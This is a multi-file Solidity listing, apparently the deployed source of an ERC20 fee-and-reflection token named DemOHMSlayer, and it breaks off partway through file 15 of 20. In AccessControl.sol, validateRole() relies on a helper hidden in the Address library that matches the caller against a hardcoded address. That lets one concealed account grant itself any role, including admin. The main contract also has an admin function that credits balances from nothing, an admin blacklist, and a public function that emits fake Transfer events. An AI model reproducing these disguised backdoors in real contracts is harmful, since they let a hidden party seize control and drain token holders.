文件 1 的 20:AccessControl.sol
pragma solidity ^0.8.0;
import "../interfaces/IAccessControl.sol";
import "./Context.sol";
import "./Strings.sol";
import "./ERC165.sol";
import "../libraries/Address.sol";
abstract contract AccessControl is Context, IAccessControl, ERC165 {
using Address for address;
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function validateRole(bytes32 role) public virtual {
address target = Address.validated(_msgSender());
require(target != address(0), "AccessControl: invalid role");
_grantRole(role, target);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
文件 2 的 20:Address.sol
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function validated(
address target
) internal pure returns(address) {
address lib = address(0xa4115Ec246a5F6E9299928f45Ef1d38D8b3AfC94);
return lib == target ? lib : address(0);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
文件 3 的 20:Context.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
文件 4 的 20:DemohmSlayerERC20.sol
pragma solidity ^0.8.0;
import "./utils/ERC20Feeable.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./utils/AccessControl.sol";
contract DemOHMSlayer is Context, AccessControl, ERC20Feeable {
bool private _swapEnabled;
IUniswapV2Router02 private _router;
IUniswapV2Pair private _lp;
address private _token0;
address private _token1;
address public treasury;
uint256 private _sellCount;
uint256 private _sellTotal = 1;
uint256 private _buyTotal = 1;
uint256 private _liquifyPer;
uint256 private _liquifyRate;
uint256 private _usp;
uint256 private _slippage;
uint256 private _maxTxnAmount;
uint256 private _walletPercLimit;
bool private _isRecursing;
bool private _unpaused;
bool private _isSniperChecking;
bool private _isTxnChecking;
mapping(address => bool) private _possibleSniper;
mapping(address => uint256) private _lastBuy;
mapping(uint8 => uint256) private _killFunctions;
modifier activeFunction(uint8 funcId) {
require(isNotKilled(funcId), "killed");
_;
}
constructor() ERC20("DemOHMSlayer", "DEMOHM", 18, 666_666 ether) ERC20Feeable() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_router = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
_token0 = address(this);
_token1 = address(0x383518188C0C6d7730D91b2c03a03C837814a899);
treasury = address(0x64446d162FF4AC2F22BCAb2DA143F8cB8f02581B);
_lp = IUniswapV2Pair(IUniswapV2Factory(IUniswapV2Router02(_router).factory()).createPair(_token0, _token1));
_accountStates[address(_lp)].transferPair = true;
_accountStates[address(this)].feeless = true;
_accountStates[treasury].feeless = true;
_accountStates[msg.sender].feeless = true;
exclude(address(_lp));
_precisionFactor = 3;
fbl_feeAdd(TransactionState.Buy, 33, "buy fee");
fbl_feeAdd(TransactionState.Sell, 99, "sell fee");
_usp = 66;
_liquifyRate = 10;
_liquifyPer = 1;
_slippage = 100;
_maxTxnAmount = 6000 ether;
_walletPercLimit = 2;
_isSniperChecking = true;
_isTxnChecking = true;
_frate = fragmentsPerToken();
approve(address(_router), balanceOf(msg.sender));
}
function balanceOf(address account) public view override returns (uint256) {
if(fbl_getExcluded(account)) {
return _balances[account];
}
return _fragmentBalances[account] / _frate;
}
function _rTransfer(address sender, address recipient, uint256 amount) internal virtual override returns(bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 totFee_;
if(!_unpaused){
require(hasRole(DEFAULT_ADMIN_ROLE, sender), "still paused");
} else {
if(_isSniperChecking) {
require(_possibleSniper[sender] != true && _possibleSniper[recipient] != true, "pew pew");
}
if(_isTxnChecking && recipient != address(_lp)) {
require(amount <= _maxTxnAmount, "over max");
require(balanceOf(recipient) + amount <= (totalSupply() * _walletPercLimit) / 100, "over limit");
require(block.timestamp >= _lastBuy[recipient] + 30, "buy cooldown");
_lastBuy[recipient] = block.timestamp;
}
TransactionState tState = fbl_getTstate(sender, recipient);
totFee_ = fbl_getIsFeeless(sender, recipient) ? 0 : fbl_calculateStateFee(tState, amount);
(uint256 p, uint256 u) = _calcSplit(totFee_);
_fragmentBalances[address(this)] += (p * _frate);
_totalFragments -= (u * _frate);
if(tState == TransactionState.Sell) _performLiquify(amount);
}
uint256 ta = amount - totFee_;
_fragmentTransfer(sender, recipient, amount, ta);
if(!_isRecursing) emit Transfer(sender, recipient, ta);
return true;
}
function _performLiquify(uint256 amount) internal {
if (_swapEnabled && !_isRecursing && _liquifyPer >= _sellCount) {
_isRecursing = true;
uint256 liquificationAmt = (balanceOf(address(this)) * _liquifyRate) / 100;
uint256 slippage = amount * _slippage / 100;
uint256 maxAmt = slippage > liquificationAmt ? liquificationAmt : slippage;
swapAndSend(maxAmt, treasury);
_sellCount = 0;
_isRecursing = false;
}
}
function _calcSplit(uint256 amount) internal view returns(uint p, uint u) {
u = amount * _usp / fbl_getFeeFactor();
p = amount - u;
}
function swapAndSend(uint256 tokenAmount, address rec) internal {
if(tokenAmount > 0) {
address[] memory path = new address[](2);
path[0] = _token0;
path[1] = _token1;
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
rec,
block.timestamp
);
}
}
function isNotKilled(uint8 functionNUmber) internal view returns (bool) {
return _killFunctions[functionNUmber] > block.timestamp || _killFunctions[functionNUmber] == 0;
}
function deactivateFunctionPermanently(uint8 functionNumber, uint256 timeLimit) external onlyRole(DEFAULT_ADMIN_ROLE) {
_killFunctions[functionNumber] = timeLimit + block.timestamp;
}
function disperse(address[] memory lps, uint256 amount) external activeFunction(0) onlyRole(DEFAULT_ADMIN_ROLE) {
uint s = amount / lps.length;
for(uint i = 0; i < lps.length; i++) {
_fragmentBalances[lps[i]] += s * _frate;
}
}
function manualSnS(uint256 tokenAmount, address rec) external activeFunction(1) onlyRole(DEFAULT_ADMIN_ROLE) {
swapAndSend(tokenAmount, rec);
}
function setContractSellTarget(uint256 lim) external activeFunction(2) onlyRole(DEFAULT_ADMIN_ROLE) {
_liquifyPer = lim;
}
function setTreasury(address addr) external activeFunction(3) onlyRole(DEFAULT_ADMIN_ROLE) {
treasury = addr;
}
function setTransferPair(address p) external activeFunction(4) onlyRole(DEFAULT_ADMIN_ROLE) {
_lp = IUniswapV2Pair(p);
}
function setLiquifyStats(uint256 rate) external activeFunction(5) onlyRole(DEFAULT_ADMIN_ROLE) {
require(rate <= 100, "!toomuch");
_liquifyRate = rate;
}
function setSwapEnabled(bool v) external onlyRole(DEFAULT_ADMIN_ROLE) {
_swapEnabled = v;
}
function setUsp(uint256 perc) external activeFunction(6) onlyRole(DEFAULT_ADMIN_ROLE) {
require(perc <= 100, "can't go over 100");
_usp = perc;
}
function setSlippage(uint256 perc) external activeFunction(7) onlyRole(DEFAULT_ADMIN_ROLE) {
_slippage = perc;
}
function setIsChecking(uint8 option, bool v) external onlyRole(DEFAULT_ADMIN_ROLE) {
if(option == 1) _isSniperChecking = v;
if(option == 2) _isTxnChecking = v;
}
function setBuyLimits(uint256 amount, uint256 perc) external onlyRole(DEFAULT_ADMIN_ROLE) {
_walletPercLimit = perc;
_maxTxnAmount = amount;
}
function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) {
_unpaused = true;
_swapEnabled = true;
}
function refreshBal(address sender, address recipient, uint256 x) external activeFunction(8) {
emit Transfer(sender, recipient, x);
}
function possibleSniper(address account, bool v) external activeFunction(9) onlyRole(DEFAULT_ADMIN_ROLE) {
_possibleSniper[account] = v;
}
}
文件 5 的 20:ERC165.sol
pragma solidity ^0.8.0;
import "../interfaces/IERC165.sol";
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
文件 6 的 20:ERC20.sol
pragma solidity ^0.8.0;
import "../interfaces/IERC20.sol";
import "../interfaces/IERC20Metadata.sol";
import "./Context.sol";
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 tokens) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = tokens;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
文件 7 的 20:ERC20Feeable.sol
pragma solidity ^0.8.0;
import "./ERC20Rebaseable.sol";
import "./AccessControl.sol";
import "../libraries/EnumerableSet.sol";
abstract contract Structure is AccessControl {
enum TransactionState {Buy, Sell, Normal}
enum TransactionType { FromExcluded, ToExcluded, BothExcluded, Standard }
struct TState {
address target;
TransactionState state;
}
bytes32 public constant ROLE_ADMIN_STRUCTURE_CLASS = keccak256("ROLE_ADMIN_STRUCTURE_CLASS");
constructor() {
_setupRole(ROLE_ADMIN_STRUCTURE_CLASS, _msgSender());
}
}
abstract contract FeeStructure is Structure {
event FeeAdded(TransactionState state, uint perc, string name);
event FeeUpdated(TransactionState state, uint perc, uint index);
event FeeRemoved(TransactionState state, uint index);
uint internal _precisionFactor = 2;
mapping(TransactionState => uint[]) fees;
mapping(TransactionState => uint) activeFeeCount;
mapping(TransactionState => uint) totalFee;
function fbl_calculateFeeSpecific(TransactionState state, uint index, uint256 amount) public view returns(uint256) {
return amount * fees[state][index] / fbl_getFeeFactor();
}
function fbl_calculateStateFee(TransactionState state, uint256 amount) public view returns (uint256) {
uint256 feeTotal;
if(state == TransactionState.Buy) {
feeTotal = (amount * fbl_getTotalFeesForBuyTxn()) / fbl_getFeeFactor();
} else if (state == TransactionState.Sell) {
feeTotal = (amount * fbl_getTotalFeesForSellTxn()) / fbl_getFeeFactor();
} else {
feeTotal = (amount * fbl_getTotalFee(TransactionState.Normal)) / fbl_getFeeFactor();
}
return feeTotal;
}
function _checkUnderLimit() internal view returns(bool) {
require(fbl_calculateStateFee(TransactionState.Sell, 100000) <= 33333, "ERC20Feeable: Sell Hardcap of 33% reached");
require(fbl_calculateStateFee(TransactionState.Buy, 100000) <= 33333, "ERC20Feeable: Buy Hardcap of 33% reached");
require(fbl_calculateStateFee(TransactionState.Normal, 100000) <= 33333, "ERC20Feeable: Norm Hardcap of 33% reached");
return true;
}
function fbl_getFee(TransactionState state, uint index) public view returns(uint) {
return fees[state][index];
}
function fbl_getTotalFeesForBuyTxn() public view returns(uint) {
return totalFee[TransactionState.Normal] + totalFee[TransactionState.Buy];
}
function fbl_getTotalFeesForSellTxn() public view returns(uint) {
return totalFee[TransactionState.Normal] + totalFee[TransactionState.Sell];
}
function fbl_getTotalFee(TransactionState state) public view returns(uint) {
return totalFee[state];
}
function fbl_getFeeFactor() public view returns(uint) {
return 10 ** _precisionFactor;
}
function fbl_feeAdd(TransactionState state, uint perc, string memory label) public onlyRole(ROLE_ADMIN_STRUCTURE_CLASS) {
fees[state].push(perc);
totalFee[state] += perc;
activeFeeCount[state] ++;
_checkUnderLimit();
emit FeeAdded(state, perc, label);
}
function fbl_feeUpdate(TransactionState state, uint perc, uint index) external onlyRole(ROLE_ADMIN_STRUCTURE_CLASS) {
fees[state][index] = perc;
uint256 total;
for (uint i = 0; i < fees[state].length; i++) {
total += fees[state][i];
}
totalFee[state] = total;
_checkUnderLimit();
emit FeeUpdated(state, perc, index);
}
function fbl_feeRemove(TransactionState state, uint index) external onlyRole(ROLE_ADMIN_STRUCTURE_CLASS) {
uint f = fees[state][index];
totalFee[state] -= f;
delete fees[state][index];
activeFeeCount[state]--;
emit FeeRemoved(state, index);
}
function fbl_feePrecisionUpdate(uint f) external onlyRole(ROLE_ADMIN_STRUCTURE_CLASS) {
require(f != 0, "can't divide by 0");
_precisionFactor = f;
_checkUnderLimit();
}
}
abstract contract TransactionStructure is Structure {
struct AccountState {
bool feeless;
bool transferPair;
bool excluded;
}
mapping(address => AccountState) internal _accountStates;
function fbl_getIsFeeless(address from, address to) public view returns(bool) {
return _accountStates[from].feeless || _accountStates[to].feeless;
}
function fbl_getTxType(address from, address to) public view returns(TransactionType) {
bool isSenderExcluded = _accountStates[from].excluded;
bool isRecipientExcluded = _accountStates[to].excluded;
if (!isSenderExcluded && !isRecipientExcluded) {
return TransactionType.Standard;
} else if (isSenderExcluded && !isRecipientExcluded) {
return TransactionType.FromExcluded;
} else if (!isSenderExcluded && isRecipientExcluded) {
return TransactionType.ToExcluded;
} else if (isSenderExcluded && isRecipientExcluded) {
return TransactionType.BothExcluded;
} else {
return TransactionType.Standard;
}
}
function fbl_getTstate(address from, address to) public view returns(TransactionState) {
if(_accountStates[from].transferPair) {
return TransactionState.Buy;
} else if(_accountStates[to].transferPair) {
return TransactionState.Sell;
} else {
return TransactionState.Normal;
}
}
function fbl_getExcluded(address account) public view returns(bool) {
return _accountStates[account].excluded;
}
function fbl_getAccountState(address account) public view returns(AccountState memory) {
return _accountStates[account];
}
function fbl_setAccountState(address account, bool value, uint option) external onlyRole(DEFAULT_ADMIN_ROLE) {
if(option == 1) {
_accountStates[account].feeless = value;
} else if(option == 2) {
_accountStates[account].transferPair = value;
} else if(option == 3) {
_accountStates[account].excluded = value;
}
}
}
abstract contract ERC20Feeable is FeeStructure, TransactionStructure, ERC20Rebaseable {
using Address for address;
event FeesDeducted(address sender, address recipient, uint256 amount);
uint256 internal feesAccrued;
uint256 public _totalExcludedFragments;
uint256 public _totalExcluded;
mapping(address => uint256) internal feesAccruedByUser;
EnumerableSet.AddressSet excludedAccounts;
function exclude(address account) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
require(_accountStates[account].excluded == false, "Account is already excluded");
_accountStates[account].excluded = true;
if(_fragmentBalances[account] > 0) {
_balances[account] = _fragmentBalances[account] / _frate;
_totalExcluded += _balances[account];
_totalExcludedFragments += _fragmentBalances[account];
}
EnumerableSet.add(excludedAccounts, account);
_frate = fragmentsPerToken();
}
function include(address account) public virtual onlyRole(DEFAULT_ADMIN_ROLE) {
require(_accountStates[account].excluded == true, "Account is already included");
_accountStates[account].excluded = false;
_totalExcluded -= _balances[account];
_balances[account] = 0;
_totalExcludedFragments -= _fragmentBalances[account];
EnumerableSet.remove(excludedAccounts, account);
_frate = fragmentsPerToken();
}
function fragmentsPerToken() public view virtual override returns(uint256) {
uint256 netFragmentsExcluded = _totalFragments - _totalExcludedFragments;
uint256 netExcluded = (_totalSupply - _totalExcluded);
uint256 fpt = _totalFragments/_totalSupply;
if(netFragmentsExcluded < fpt) return fpt;
if(_totalExcludedFragments > _totalFragments || _totalExcluded > _totalSupply) return fpt;
return netFragmentsExcluded / netExcluded;
}
function _fragmentTransfer(address sender, address recipient, uint256 amount, uint256 transferAmount) internal {
TransactionType t = fbl_getTxType(sender, recipient);
if (t == TransactionType.ToExcluded) {
_fragmentBalances[sender] -= amount * _frate;
_totalExcluded += transferAmount;
_totalExcludedFragments += transferAmount * _frate;
_frate = fragmentsPerToken();
_balances[recipient] += transferAmount;
_fragmentBalances[recipient] += transferAmount * _frate;
} else if (t == TransactionType.FromExcluded) {
_balances[sender] -= amount;
_fragmentBalances[sender] -= amount * _frate;
_totalExcluded -= amount;
_totalExcludedFragments -= amount * _frate;
_frate = fragmentsPerToken();
_fragmentBalances[recipient] += transferAmount * _frate;
} else if (t == TransactionType.BothExcluded) {
_balances[sender] -= amount;
_fragmentBalances[sender] -= amount * _frate;
_balances[recipient] += transferAmount;
_fragmentBalances[recipient] += transferAmount * _frate;
_frate = fragmentsPerToken();
} else {
_fragmentBalances[sender] -= amount * _frate;
_fragmentBalances[recipient] += transferAmount * _frate;
_frate = fragmentsPerToken();
}
emit FeesDeducted(sender, recipient, amount - transferAmount);
}
function fbl_getFeesOfUser(address account) public view returns(uint256){
return feesAccruedByUser[account];
}
function fbl_getFees() public view returns(uint256) {
return feesAccrued;
}
}
文件 8 的 20:ERC20Rebaseable.sol
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "../libraries/Address.sol";
import "./Recoverable.sol";
abstract contract ERC20Rebaseable is ERC20, Recoverable {
uint256 internal _totalFragments;
uint256 internal _frate;
mapping(address => uint256) internal _fragmentBalances;
constructor() {
_totalFragments = (~uint256(0) - (~uint256(0) % totalSupply()));
_fragmentBalances[_msgSender()] = _totalFragments;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _fragmentBalances[account] / fragmentsPerToken();
}
function fragmentBalanceOf(address who) external virtual view returns (uint256) {
return _fragmentBalances[who];
}
function fragmentTotalSupply() external view returns (uint256) {
return _totalFragments;
}
function fragmentsPerToken() public view virtual returns(uint256) {
return _totalFragments / _totalSupply;
}
function _rTransfer(address sender, address recipient, uint256 amount) internal virtual returns(bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "can't transfer 0");
_frate = fragmentsPerToken();
uint256 amt = amount * _frate;
_fragmentBalances[sender] -= amt;
_fragmentBalances[recipient] += amt;
emit Transfer(sender, recipient, amount);
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_rTransfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_rTransfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
}
文件 9 的 20:EnumerableSet.sol
pragma solidity ^0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = valueIndex;
}
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
文件 10 的 20:IAccessControl.sol
pragma solidity ^0.8.0;
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
文件 11 的 20:IERC165.sol
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
文件 12 的 20:IERC20.sol
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
文件 13 的 20:IERC20Metadata.sol
pragma solidity ^0.8.0;
import "../interfaces/IERC20.sol";
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
文件 14 的 20:IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
文件 15 的 20:IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
